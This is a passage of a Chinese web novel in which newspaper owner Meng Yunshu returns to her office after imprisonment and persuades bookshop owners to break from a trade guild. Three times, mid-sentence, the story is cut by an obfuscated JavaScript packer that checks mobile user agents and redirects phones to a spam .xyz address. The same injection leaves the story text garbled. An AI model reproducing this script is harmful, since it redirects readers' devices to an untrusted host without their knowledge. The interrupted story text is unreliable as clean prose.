孟允抒坐在车厢内，在马车的颠簸中，她更是觉得自己浑身酸软，连骨头都要被摇散了架。 她懊悔地想，她怀疑什么都不该怀疑许昭有隐疾，他攒了这么多年的劲全使在她身上了。 昨晚那些激烈的场景还历历在目。起初许昭顾忌她的伤病，又念及她是初尝人事，生怕弄疼了她，便有意克制。孟允抒见他忍得辛苦，自己也并不满足于此，就变着法地撩拨他。 于是，后来的场面便一发不可收拾，两人食髓知味后一时失控，一次又一次地纠缠在一起。几个回合下来，虽然孟允抒已经疲惫不堪，却被欲念冲昏了头，再加上她心软，每次许昭询问她的意见时，她见他还想要更多，就又给出了肯定答复。 如今身上的酸痛就是贪得无厌的下场。 孟允抒在自己心里找补，但在那种情况下，她和许昭谁能忍得住？ 到最后她都不记得许昭是怎么收拾那一片狼藉的，但好在她没忘了抓住机会趁虚而入，让许昭应下她复工的要求。 此前秋盈和许昭在暗中达成一致，约定让孟允抒休息两个月后再同意她复工。在此期间，两人都要监督孟允抒在府中静养，不准她出门乱跑，也不许外人来探视她，以防他们说出什么不该说的话来，扰了她的清净。 今早秋盈得知他们的联盟被孟允抒从许昭处瓦解，但许昭天没亮就去上朝了，她只能准许孟允抒回到报社。 马车驶出一段距离后，从窗外已经寻不到许府的踪影。 秋盈放下车帷转过头，用审视的目光盯着孟允抒。 “允抒，你昨夜没回卧房。” 这不是一个疑问句，孟允抒只能心虚地打着哈哈，对秋盈露出僵硬的笑容：“是啊。” 她明白秋盈要开始兴师问罪了。 “你去了许公子的卧房，对吧？” 秋盈现今的身份已经不算是孟允抒的丫鬟，再加上她改变了对孟允抒的称呼，许昭在得知孟允抒的真实身份后，索性也让秋盈对他改了口。 按照秋盈的性格与能力，她肯定早就知道了两人昨晚发生的事，孟允抒硬着头皮实话实说：“对。” “难怪许公子会同意你前来上工。明明说好了让你再休养一月。”秋盈半是鄙夷半是羞愤地说，“真是色令智昏。” 虽然按孟允抒如今的身体状况来说，她的确已经恢复到了能够回到报社工作的程度，但结合她和许昭之间发生的事来看，这件事听起来却不怎么光彩。 就像是她和许昭做了什么见不得人的交易一般。 “不是你想的那样。”孟允抒百口莫辩，只能跳过这个话题言归正传，挽着秋盈的胳膊说，“我知道你是为我好，担心我的身体。但既然我的伤已经好得差不多了，就得尽快回到报社，那里还有相当多的事务等着我处理。” 在过去这一个月里面，尽管孟允抒得到准许在府中办公，可随着日子一天天过去，她心里还是越来越焦急。秋盈给她带的尽是些无关紧要的琐碎工作，不让她劳心费力，而每次她向秋盈问起报社的情况时，她的回答都是运营平稳，但孟允抒却并不相信这个答案。 先前那场突变把报社搅得天翻地覆，报社绝不可能平静无波。秋盈肯定是对她报喜不报忧。 《黎民日报》每日都在照常发行，但读了几期报纸后孟允抒便察觉到，部分探官和编辑代号在文章末尾出现的频率明显高了起来，而与之相对地，自打她出狱以后，就再也没见过其余的那部分代号。 孟允抒曾向秋盈询问过其中的缘由，她得到的答复是这些人或因生病或因私事缠身告假在家。她知道秋盈这是怕她忧心报社事务，于她的身体不利，便也不再追问。 不过，她马上就要得知真相了。 孟允抒下了车，抬头望了一眼阔别已久的匾额。“黎民报社”四个大字鲜亮如初，并非她想象中的那样落满尘埃。 看来，在她离开报社的这段时日，秋盈依然将报社打理得井井有条。 孟允抒走到临街的铺面前伸出手，正想着像过去每天做的那样推开大门，店门却突然被人从里面打开。 在孟允抒看清来人是排云的同时，排云也眼前一亮，脸上现出惊喜的神色。 “社长！”排云激动地扑到孟允抒怀里，“你终于回来了！” 孟允抒回应着她的拥抱，顺口问了一句：“排云，昨晚是你值夜？” “对，是我和刘大哥，还有周姐姐。他们去后院开门了。” “有话进去说。”秋盈提醒她们先进到屋内，在一旁笑话排云：“一月没见社长，你就对她如此想念。” 孟允抒摸摸排云的发顶笑道：“说明我平时没白疼她。” 孟允抒欣赏排云的机灵，对她相当器重。再加上排云是报社中年龄最小的职员，孟允抒自然会额外关照她一些，见着点什么好吃的都要给她带上一份。 在排云眼里，孟允抒本来就对她有恩，又这样疼爱她，所以空闲时也喜欢粘着孟允抒，跟在她后面主动找活干。 “社长，你这一个月都没在报社里，我心里空落落的。” 排云拉着她的手诉说了她的思念之情，又毫不拖泥带水地讲起了正事，向孟允抒做了一场简单的工作汇报。 孟允抒正听着排云讲述她这阵子取得的成果，忽而被门外的吵架声吸引了注意力。 一个男声唉声叹气道：“一大清早我便见着你，今日肯定是诸事不宜。” 另一个女声则相当高亢，语气充满戏谑：“你见了我还有力气说这些话，看来我昨日骂得还不够狠。” 两人斗着嘴，跨过门槛现出身形。走在前方的盛催雪漫不经心地瞥了室内一眼，而后马上中止了方才的话题，脸上现出和方才的排云一样的神色。 紧随其后的萧谨言也瞪大了眼睛。 “允抒，你回来了！”盛催雪连忙奔向孟允抒，拉着她的手上下打量，“我听说你被那些狗官折磨得不轻，如今你可是痊愈了？” 萧谨言也在一旁用力点头：“我听睿言说你当时的情况十分危急，差点……” “打住。”盛催雪迅速阻止他继续说下去，“社长好不容易才脱险，你可别讲那些不吉利的。” 孟允抒已经对他们的相处模式习以为常，这份熟悉感瞬间让她回想起过去的工作环境。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15767558|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你们放心，我如今已经并无大碍了。”她对两人笑笑，“这段时间我不在报社，你们两人的合作可还算愉快？” “勉勉强强吧。”萧谨言斜睨了盛催雪一眼，又看向孟允抒说道，“不过我们好歹是编辑部的主管，在正事上不会含糊，有我们在出不了岔子，你不必担忧。” 萧谨言一本正经地说着，让人觉得相当可靠。 但盛催雪很快就揭起他的短来，凑到孟允抒旁边说道：“你别看他这会装得挺像回事，你都不知道，他刚刚得知你在狱中的情况时，哭得可真是一把鼻涕一把泪，连话都说不利索。” 盛催雪模仿着萧谨言的动作和神态，和孟允抒一起笑得前仰后合。 “你还好意思说我。”萧谨言恼羞成怒，抖搂出盛催雪的旧事来，“当初那些职员说不愿意搭救孟社长的时候，你恨不得冲上去和他们打一架，要不是秋掌柜及时赶过来拦住你，还不知道后面怎么收场。” 他说完这番话后，室内的几人都愣了一瞬。空气陷入了短暂的安静，就连盛催雪却并未像往常那样作出迅速且有力的反击。 萧谨言意识到自己失言，慌张地咳了两声。盛催雪则有些局促地瞟了一眼孟允抒，而后像是掩饰什么一般，又飞快地恢复常态说道：“那还不是因为他们只顾着自身安危。平日社长待他们不薄，他们却见死不救。” 孟允抒总觉得，盛催雪说这话时的语气少了许多平时的自信，她还是第一次见她这副模样。 他们所说的这些事，孟允抒都已经从许昭那里听到过，但看他们的反应，此事恐怕另有隐情。 她并不急于从他们口中逼问出答案，为了给这些人解围，同时防止他们都把时间都耗在和她寒暄上，孟允抒终结闲聊，赶着屋内的几人离开：“行了，你们都别围在这里了，该做什么做什么去。要是有事就等开完选题会后来单独找我，闲话留到午休的时候说。” 说完，她便起身前往中庭，去办公室整理她的工位。 但孟允抒的那句话并没能让她摆脱被当成珍稀动物的命运。每个前来上工的报社成员听说孟允抒回来了，都要跑来办公室探视她一番。 当然，孟允抒这次回归，她收获的不单是关心和欢迎，还有一个坏消息。 如她所料，在她遭遇这场变故之后，那些想要独善其身的报社成员统统向秋盈提交了辞职信，离开了报社。 其他部门的情况还算乐观，但采编部作为那些官家公子、小姐的聚集地，损失了将近一半成员。在召开选题会时，孟允抒看到的不单是短了一半的席位，还有萎靡焦躁的氛围。 相较于前者而言，后者的问题并不难解决。留下来的这些职工都是愿意继续跟随她的人，而他们的心中都存有同样的疑虑。只要有一个人来找她提问，她作出回答后，答案就能以提问者为中心，层层向外扩散至整个报社。 选题会后，孟允抒刚坐到办公室的椅子上，甚至还没来得及喝口茶，大门就被人敲响。 这个人来得还真是快。 “请进。” 孟允抒放下茶杯看向门口，进来的是一个意料之中的身影。 50. 明星效应 “萧主编请坐。”孟允抒用眼神指指对面的椅子，对萧谨言笑了笑，“你有什么事找我？” “你这是明知故问吧。”萧谨言关上大门，在孟允抒对面落座后白了她一眼：“早上你在报社里逛了一圈，选题会也已经开完，之前我们瞒着你的事你都知道了，我就不信你能沉得住气。” 他坐正身子，脸上显出庄重的神色：“这一个月以来报社的确发生了不少变故。虽然大部分职工都留了下来，可如今每个人心里都没有底气。” 孟允抒问他：“包括你在内？” 萧谨言点头。 他重重地叹了口气：“如今旧党已经得知你与许大人的关系，虽然这次他们没能得逞，但他们定然会在暗中寻找你的破绽，伺机而动。旧党的实力雄厚，我们不是他们的对手，要是他们卷土重来，下次我们就不一定能渡过难关了。” “而且经此风波后，我们的损失相当惨重，士气也十分低迷。除此之外，由于报社受到负面影响，前来买报的人也大大减少，近日小报的销量堪忧。再这样下去，我们只能做亏本买卖。” 萧谨言面露担忧：“在这种形势下，报社还能开多久？我们今后应该怎么办？” 他提出的问题正是孟允抒想要回答的，但她并没有立刻给出答案。 萧谨言性格敏感，稍微有个风吹草动就会惊慌不已，他第一个跑来向孟允抒寻求答案也合乎常理。 但是在这次事件中，萧谨言的表现却显然与他的性子严重不符。 孟允抒思索片刻，决定以此作为切入点：“谨言，正好我也有个问题想问你，我想先请你作答。” 萧谨言不知道孟允抒为什么要兜圈子，却还是耐着性子说：“你问。” 孟允抒挪开面前的茶杯，这样一来，两人之间便没有任何障碍物。 “在我身陷囹圄难以翻身的时候，许多人都对此事避之唯恐不及。可你非但不离开报社，反而还顶住压力，尽量调解员工之间的矛盾，维持报社的正常运营，这是为什么？” 萧谨言理所应当地说：“我是报社的主编，我当然不能走，也不可能放任这些人出乱子。再说了，这是你临走前吩咐我们的，我自然要听令行事。” 孟允抒抓住了这句话中的矛盾点。 “据你方才所言，如今朝中局势紧张，我又已经被旧党盯上，继续运营报社就犹如火中取栗。你我都知道旧党的实力庞大，报社被查封似乎也是迟早的事。””她抬眼看向萧谨言，“可你若是真的这样想，又为何要为这样一个朝不保夕的差事劳心费力？” 萧谨言觉得孟允抒今天总是在说废话：“那我最起码也得先撑到你出狱，等你回来后我们再商量这些事。” 孟允抒追问他：“若是程玄平等人的奸计得逞，我的下场如他们所愿，那我的命令和决定便毫无意义，你与睿言、萧大公子甚至还会受到牵连。你为何敢笃定我能够被无罪释放？” “话不能这么说。” 萧谨言嘟囔了一会，他发现自己也说不出一个清晰的理由，索性将身子往椅背上一靠：“我凭直觉相信你能挺过这一关，这总行了吧。” “不是这样的。”孟允抒摇摇头，而后对萧谨言露出一个赞赏的笑容。 “谨言，也许连你自己都未曾发觉，你和从前不一样了。” 她提起了两人结识的往事。 “当初我与你在萧府相识，请你担任报社主编一职，那时你还百般推脱，认为只有读书考取功名才是正途。但后来，你在报社实现了自己的价值，也逐渐认可了报业的意义。” “你说得有道理。”萧谨言觉得孟允抒的话题越扯越远，“可这和我的问题有什么关系？” “因为这是解决一切问题的前提。”孟允抒笑道，“只要报业有存在的意义，我们就并非毫无胜算。” 孟允抒分析着报业的市场前景：“民间小报的性质确实敏感，自诞生之初就屡遭封禁，可小报产业非但没有灭亡，反而愈加繁荣，最终先皇不得不撤销了这一禁令。这说明报业的兴盛是大势所趋，旧党就算再有能耐，也不可能胜过皇上。” 而即便是至高无上的皇权，在数万黎民面前，它也不过是螳臂当车。 萧谨言陷入沉思：“所以，报业不至于就此一蹶不振。” “没错。既然报业本身有存续的可能，那么报社能够开多久，恰恰就取决于我们接下来怎么做。” 孟允抒胸有成竹地笑笑，将她提前写好的一份书肆清单递给萧谨言：“前阵子我让秋盈传令，命伙计们去打探京中各书坊的经营情况，如今便能派上用场了。” 孟允抒先前已经和许昭讨论过她的想法，于是将计划复述给萧谨言。 他一边浏览着清单上的内容一边点头道：“我不确定这招行不行得通，但我知道，如果当初不是你请我担任主编，我到现在还只能整日窝在府里念那些被我翻烂了的书。” 萧谨言自嘲地笑笑，将那几张纸收拢好，对孟允抒说道：“你就直说，需要我做什么？” “你和平时一样，只要做好分内之事即可。”孟允抒心里已经有了明确的安排，“只是近日要麻烦催雪和我分头行动，在城中四处奔波。” 萧谨言愣了愣神，忽然明白了孟允抒的意思。 他又看了眼手中的清单，喜上眉梢道：“你是说，要让催雪和你一起负责拉拢那些书商？” 孟允抒微微颔首：“无论从哪方面来看，她都很适合做这件事。” “太好了。”萧谨言由于激动而猛然站起身，“接下来的这段时间，我总算是能清净一阵了。” 说着，他赶紧把清单还给孟允抒，向她告辞道：“我去把这个好消息告诉盛副主编。” 孟允抒目送着他上蹿下跳地冲出大门，不知道的还以为萧谨言终于中举了。 她觉得此事想来有些好笑，当初盛催雪刚来到报社时，萧谨言也是这副欣喜若狂的模样，如今他竟然会对她的出差而兴奋成这样，看来他对盛催雪的崇拜之情已经荡然无存。 孟允抒得空去喝茶，茶水刚刚见底时，盛催雪的笑声就闯了进来。 “听萧主编说，孟社长要对我委以重任。” 不等孟允抒开口，盛催雪就直接坐到了她对面，迫不及待地凑近她问道：“你展开说说，具体是什么事？” 望着盛催雪一脸期待而兴奋的模样，孟允抒知道她找对人了。 她放下茶杯，将那几张清单推到盛催雪面前，开门见山道：“这上面记录了京中多家书肆的概况， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781255|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我需要你和我分工，去这些地方跑一趟。” 接着，孟允抒对盛催雪讲述了她的目的，以及与那些书商合作的具体内容。 “我明白了。”盛催雪迅速作出总结，概括孟允抒的话对她复述道，“主要就是劝说他们改行从事报业，为此我们可以为他们提供各种帮助，比如允许他们入股分红、售卖《黎民日报》从中获利、为他们的探官和编辑展开免费培训等，对吧？” “对。” 盛催雪才思敏捷，孟允抒只说了几句话她便懂得了自己的意思，这让她省了不少功夫。 “盛副主编果然才智过人，不愧是名扬京城的才女。”她知道盛催雪爱听好话，便故意恭维她道，“我这次又要仰仗盛副主编的名气，打着你的旗号去做这些事。” 之所以说“又”，自从她来到黎民报社，孟允抒借着她的名声获得了不少好处。从那次反击性别偏见的征稿活动，再到后来扩充报社人手时招聘，许多人都是被盛催雪吸引而来，就连他们报纸的销量都因为她的名号而上涨许多。 这次孟允抒故技重施，不单是为了利用明星效应挽救报社的前途，也是为了尽力降低她遭遇变故所造成的影响，让人们的关注点从她身上移开。 “我们都认识多久了，你还和我客气。”盛催雪满不在乎地笑笑，“再说，你借用我的名号又不是为了一己私欲。” 而后，她的声音稍有低落：“只要能让报社恢复过去的盛况，我的名气也算是派上了用场。” 看来这场变故对于报社职工的确是极其沉重的打击，饶是盛催雪这样豁达洒脱的人，都有几分忧虑的意思。 为了让盛催雪重新振作起来，孟允抒用调侃的语气鼓励她：“有盛副主编出马，报社定能绝处逢生。你向来是口齿伶俐，又有名气加持，由你出面做这些事再合适不过。” 孟允抒和她打趣一番，言归正传道：“正所谓‘祸兮福所依’，这场风波虽然致使报社折损了十几名探官和编辑，但这也算是满足了如玉行会的要求，他们暂时不会再来找我们的麻烦。” 她又说起旧党的情况：“程玄平和赵逾明险些酿成冤案，他们受到皇上的批斥，一时也不会给我们使绊子。趁着这两方势力都消停的时机，我们要抓紧时间展开行动。” 兴许是孟允抒的话起了作用，盛催雪很快恢复了往日那副率性不羁的模样。 “嗯。你终日为报社操劳，我也不该让你再为我忧心。”她笑容明朗地说道，“请社长放心，我定然会不负所托。” 望着盛催雪潇洒离去的背影，孟允抒轻轻地舒了口气。 方才她没有在盛催雪面前表现出来，实际上她对此事并没有十足的把握。 盛催雪的确口才了得，但因为她的个性太过直率，有些话说得一针见血，因此也容易激化矛盾，得罪他人。包括萧谨言在内，曾有多个员工向孟允抒反映过这种情况。 虽然盛催雪并非听不进旁人的意见，也能做到知错就改，但一个人的本性难移，她在不经意间还会出现这种问题。让天才为普通人让步，或许对她来说也十分憋屈。 然而，眼下报社人手严重不足，孟允抒也找不出比盛催雪更适合做这件事的人选。 但愿他们的计划能顺利实施。 51. 拉拢 孟允抒坐在马车上，用炭笔在清单上的一家书坊名字后面打了个叉，而后以此为分界线，浏览着在这之上的部分。 当前她和盛催雪取得的成果在她的预估范围内，有多家书坊认为她的想法天马行空，或是由于种种限制不能放弃书肆的经营而婉拒了她们，但也有一部分书肆被她们争取过来，愿意尝试着将书铺完全改造成报亭或报社。 接着，孟允抒将视线挪向下一个目的地，那是个她十分熟悉的名字。 文昌书坊。 虽然她至今都不愿回想起她当时的劳动强度，但这到底是她创业的起点，难免会对它有几分怀念。而且，在胤朝，通常情况下同一行业的商人会将店铺聚集在同一条街道上，这样有利于招揽生意，也方便行会进行管理。 出于以上原因，孟允抒下定决心要将郭掌柜拉拢过来。 若是她能成功，等成立报业行会后，文昌书坊内的伙计和帮工也能够得到更好的待遇。 这个时段正是文昌书坊的客流高峰期，孟允抒跟着几名顾客一同跨进门槛，见郭掌柜正站在柜台后指挥伙计干活，便提高嗓门说了句：“郭掌柜，别来无恙。” 郭掌柜闻言转过头来，在看到孟允抒的一刻便满脸堆笑：“哎呀，孟社长，什么风把您给吹来了。” 他向孟允抒行了一礼，但他的笑眼中却藏着几分揣度：“你我有些时日没见面了，不知你此番前来所为何事？” “故地重游罢了，顺便见见老朋友。”孟允抒向他回过礼后，似是漫不经心地环顾着四周，扫了一眼店内顾客的数量，“郭掌柜果然是经营有方，文昌书坊的生意还是这般红火，与我离开时别无二致。” “哎，社长真是抬举我了。”郭掌柜摆摆手，他听出孟允抒话里有话，于是吩咐伙计照看好书铺，对孟允抒说道：“既然孟社长是来找我叙旧的，那就请随我移步后院吧。” 后院是郭掌柜的私人住宅，不对外客开放，走入此处时，书坊内的喧嚷便被他们甩在身后。孟允抒经过庭院中的那几棵柿子树时，还见枝叶间落了许多麻雀，唧唧喳喳的叫声在空旷的院子中显得尤为响亮。此处环境静谧，倒是个谈话的好地方。 孟允抒进屋落了座，郭掌柜取来茶盏，一面为她倒茶一面笑吟吟地说道：“时至今日我都不敢相信，孟社长居然是女儿身。”他将茶杯放在孟允抒面前，自己也坐了下来，称赞孟允抒演技了得：“当初你在我这里帮工时，我可真是一点都没看出来。” 半年以前孟允抒通过小报澄清了陈府的凶宅疑云，不少人曾被这篇报道吸引而来，发现陈府摇身一变成为了黎民报社。文昌书坊离报社不远，郭掌柜自然一早就听说了此事。虽说报社与书坊不同，但两者也存在着竞争关系，于是他便跑去报社打探敌情，没成想竟然撞见了孟允抒，这才得知她的女子身份。 “身为探官，多少得有点乔装易容的手段，这些都不足挂齿。”孟允抒谦逊地笑笑，将话题从自己身上挪开，像是闲聊一般随口问道：“郭掌柜近来可好？文昌书坊的营收如何？” 郭掌柜却觉得孟允抒这话里有几分挑衅。 由于文昌书坊与黎民报社相隔不远，随着报社声名显赫，他首当其冲地受到影响。被抢走了那么一大批顾客，他的生意自然是每况愈下。而且这半年以来，他和孟允抒一直在暗中较劲，双方心里都和明镜似的，她显然是明知故问。 但郭掌柜到底是个经商多年的生意人，从不会将心底的不快表现在脸上，只是在话中暗藏机锋。 他笑容可掬地看着孟允抒说道：“托孟社长的福，在您的关照下，书坊的营收虽不如过去，但也勉强够糊口。” 孟允抒事先就已经掌握了文昌书坊的情报，她当然知晓书坊的生意大不如前。她这样试探郭掌柜，不过是为了让他亲口承认这一点。 现在她的目的已经达成，便不再和郭掌柜兜圈子，索性把话直接挑明。 “郭掌柜此言差矣，文昌书坊能有今天的局面，可不能把这笔账全部算在我头上。”孟允抒轻轻扬起唇角，声音却低了下去：“您心里应当明白，如玉行会也功不可没。” 通过此前的调查，孟允抒得知，如玉行会为了严格控制报业的规模，不单对黎民报社屡屡施压，还对那些售卖小报的书肆予以限制。革除这份副业之后，他们自然又要少一部分营收。 但与此同时，因为这半年的书业行情不景气，胡行长所获的利润大幅下跌，于是便将镰刀伸到了这些商户头上，假借各种会费的名号收敛钱财。 书商们对如玉行会积怨已久，却又畏惧胡行长的威势，敢怒不敢言。为了取得继续营业的资格，他们也只能服从如玉行会的条令，如数缴纳银两。 提到这事，郭掌柜更是苦闷不已，他无奈地摊手道：“那我们又能如何？若是退出行会，我们连开门的机会都没有，更何谈赚钱？就拿孟社长你自己来说，你不是一样……” 他正说着，忽而发觉孟允抒笑意盈盈地看着他，一副胜券在握的样子。 他连忙止住话头问道：“莫非孟社长有什么好主意？” 孟允抒略一点头：“办法我倒是有，只是其有些惊险，不知郭掌柜有没有胆量去做。” “俗话说‘富贵险中求’，若是这方法真能让我们摆脱当前的困境，我们试试也无妨。”郭掌柜正襟危坐道，“孟社长请讲。” “当年若不是我在文昌书坊看到了小报，我便不会在此帮工学艺，也就不会有今日的黎民报社。如此说来，我应当称郭掌柜一句‘恩师’。”孟允抒笑了笑，“既然郭掌柜比我更早售卖小报，您应当也知道报业的市场广阔，从中可获取不少收益，在这点上我就不过多赘述了。” 郭掌柜附和着孟允抒说了几句漂亮话，示意她继续说下去。 孟允抒将身体前倾凑近郭掌柜，把声音压得更低了些：“既然如玉行会欺人太甚，我们不妨直接脱离他们，自立门户。” 郭掌柜大惊失色，他没想到孟允抒竟然有这种野心，飞快地否定道：“不成，这不成。” 孟允抒并不急于让他认可自己，只是将身体靠回椅背，不紧不慢地说道：“郭掌柜，方才你自己也说了，‘富贵险中求’。而且，目前我已经争取到了不少书坊的支持，即便靠你我二人做不成这件事，但若是再加上五家、十家、甚至一百家书坊呢？” 郭掌柜喝了口茶稳住心神，同时思索着孟允抒说的话。 片刻后，他抬起头重新看向孟允抒。 “孟社长，不是我不愿意加入你，改行从事报业，实在是因为小报太过敏感，搞不好就要掉脑袋。” 别人说这话或许还有些可信度，但郭掌柜这么说就是纯粹的找借口。 孟允抒可是曾经在他这里当过帮工的，她没少见他刊印发售那些禁书，小报的大胆程度更是超乎她的想象，连皇上的风流韵事都敢捅出去。 他显然没说实话。 “郭掌柜，我今日来是真心实意地和你谈合作，可你却不肯对我吐露心声。” 孟允抒直视着郭掌柜，道出他的心声：“你不同意我的想法，恐怕是因为我的身份特殊吧。” 郭掌柜装起了糊涂，笑着问孟允抒：“孟社长何出此言？” “经此一事后，众人都已经知晓，黎民报社的孟社长是刑部郎中许大人的夫人。我身为探官，怎么可能不知道这些流言蜚语。” 只是对现在的她来说，即使撤掉伪装也不会影响报社的口碑。 “在你看来，既然我有这层关系在，只要能借助你们的力量成立报业行会，事成之后我就会过河拆桥，所用的手段比起如玉行会有过之而无不及，你的境况比现在更糟糕。” 她挽起衣袖，向郭掌柜展示她手臂上的疤痕。 “我和官府的关系没有你想象得那么好。我要是官府喉舌，或是手眼通天，哪还至于去刑部大牢里受刑？许郎又为何遭到皇上猜忌，甚至还要靠到处求人才能将我救出来？” 在民众眼里，这些伤疤俨然是孟允抒的荣誉勋章，她进过牢狱的履历也让《黎民日报》更加富有含金量。 对于郭掌柜这些无权无势，却稍有家资的商人来说，比起官员降罪，他们更担心不能赢得民众的喜欢。 孟允抒这番话让郭掌柜稍稍放下心来，但他仍有顾虑：“虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15791866|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然文昌书坊有过售卖小报的经验，但并没有一套严整的规矩，从事报业相当于从头开始。我担心……” 孟允抒明白郭掌柜这是在向她索要托底的保证，于是会意地说道：“请郭掌柜放心，你所担忧的事我们都早有准备。” 说着，孟允抒摆出了她能提供的帮助：“在你的生意走上正轨之前，我们会尽可能地帮你减少损失。” “既然孟社长的话都说到这份上了，那我也不该再推辞。”郭掌柜冲孟允抒笑笑，却话锋一转道，“只是近日《黎民日报》的销量不佳，即使你准许我们偷摸着卖报，它也不可能弥补我们的损失。你看……” 从郭掌柜的口气中孟允抒听得出，这桩合作已经基本谈成了，只是他还在试探自己的底线，想要从中获取更多利益。 鉴于这种情况，孟允抒不再退让：“郭掌柜，正如你所说，黎民报社近日也是举步维艰，这已经是我们所能拿出手的全部筹码了。若是你觉得还不够，实在不愿同我们合作，我也不会勉强你。” 她佯装惋惜地叹了口气，起身离席道：“但日后我们要是真的做成此事，恐怕就没有虚位留给郭掌柜了。我原本念及你与我交情不浅，想要继续和你共事，只可惜你没能给我这个机会。” 换句话说就是，如果郭掌柜不趁着黎民报社衰微的机会来加盟这个项目，回头等他们缓过劲来了，他后悔都来不及。 “等等。”郭掌柜赶紧撵上孟允抒，在她出门前拦住她，对她赔着笑说：“孟社长误会了。你看，我一句话还没说完呢，你着什么急。” 他请孟允抒重新坐下，再为她斟满了茶水：“关于此事我还有些地方不甚明白，还请孟社长与我详谈。” 文昌书坊的加盟让孟允抒的信心倍增，直到晚间快要下工时，她还在轻快的哼着歌。 她的歌声在办公室大门被敲响的那一刻戛然而止，孟允抒改口说道：“请进。” 萧谨言将门推开一道缝隙，探出个脑袋问：“孟社长，你这会还忙吗？” “不忙。怎么了？” 萧谨言转过头去，一把将身后的人扯了出来：“他一天闲得没事干，到处走街串巷的，还只当旁人和他一样清闲，我怕他打扰你。既然你没什么事，那你们聊。” 说着，他瞪了一眼萧睿言，对方则无视他的警告，向孟允抒报以灿烂的微笑：“孟社长，好久不见。” 萧谨言顿时觉得自己身为兄长的颜面扫地，只能对萧睿言指指点点一番，关上大门退了出去。 趁着这会功夫，孟允抒已经向萧睿言回了礼，请他在桌前坐下后笑道：“睿言，我这一月不在报社，你可没少偷喝我的茶。” 萧睿言用手指摩挲着面前那茶盏上的纹样，气定神闲地答道：“在这场风波中，我好歹也算是出了不少力，没有功劳也有苦劳，孟社长总不至于小气至此，连这么点茶叶都要同我计较。” “大恩不言谢。”萧睿言一个人把他和萧谨言的心眼子都长去了，孟允抒也不和讲那些弯弯绕绕的话，直截了当地问：“你来找我有什么事？” “一来是探视你的伤势如何，二来是询问你的计划施行得可还顺利。”萧睿言像是突然想到了什么，笑着补充了一句：“三来是想和你聊点许大人的事。” “许郎？”孟允抒疑惑道，“他怎么了？” 孟允抒看得出萧睿言极力想控制自己的笑意，但他始终没能成功：“你可知道朝中诸位官员都说，近日许大人性情大变？” 孟允抒反应过来，萧睿言说的应当是许昭主动与其他官员结交的事。在她向许昭提出两人接下来的行动方针后，许昭就坚决地贯彻执行，据他所说，他已经取得了极为显著的成果。 可就算这是一桩好事，萧睿言也不至于乐成这样吧。 孟允抒满腹狐疑地点头：“知道，是我让他这么做的。怎么了？” “没什么。难怪许大人如今比以前热情上千万倍。” 萧睿言笑了一阵，轻咳几声坐正身子：“我待会还有其他事，我们言归正传。” 为了节约时间，孟允抒只好先放下心中的疑惑，将注意力转移到正题上。 52. 直言不讳 黄昏时分，孟允抒下了工，马车照例停在许府正门前。 “夫人，小心脚下。” 在车夫的搀扶下，孟允抒落到地面稳住身形，却忽而听得一阵洪亮的笑声。 她循声望去，只见许府的大门正敞开着，那笑声便是从门内传出的。 孟允抒听着这声音的人数不少，转头问车夫：“府中可是有客人来访？” “对。”车夫已经重新回到车厢前坐好，打算继续赶车，“今日老爷下值后临时起意，邀请了几位大人在府中小聚，这会他们应当也快散了。” 马车不便在门前久留，孟允抒没再细究下去，摆摆手示意车夫去后院解套拴马：“我知道了，你去忙吧。” 她只身向府内走去，刚一跨过门槛便见几个男子大笑着向门口走来，这些人都面色微红，脚步虚浮，闻起来有些酒气，不难让人推测出他们方才所做的事。 孟允抒注意到，虽然这几人的身形因醉酒而左摇右晃，但他们依然衣冠整齐，应当都是些讲究人。 接着，她的目光落到了他们鬓角边、幞头旁别着的秋菊上面。 孟允抒知道胤朝人向来讲究风雅，不论男女老少、贫富贵贱，人人都爱花赏花，士人聚会时更是有簪花饮酒的习俗，可当她真的望见这群大老爷们在头上戴满各色鲜花，看着那些粗枝大叶的样貌配上娇艳欲滴的色彩时，还是差点没忍住笑出声来。 尽管孟允抒觉得他们的情态十分滑稽，却依然在心底赞美这一习俗。 胤朝男子簪花不单是将其作为简单的装饰，更是代表着他们对美的追求。受到这种思想的影响，男性身体也在无形中成为了公众的审美对象，这让不少男子也开始注重其自己的外表来。 打扮得花枝招展也总比蓬头垢面强。 为首的那名官员行至门口，这才在醉眼朦胧中瞥见孟允抒的身影。他顿住脚步定睛打量孟允抒，而后笑呵呵地拉住同行的几个人，向孟允抒行礼问道：“请问这位夫人，你可就是许大人之妻，那位黎民报社的孟社长？” 那场风波闹出来的动静不小，孟允抒的名号也已经在朝中传开。 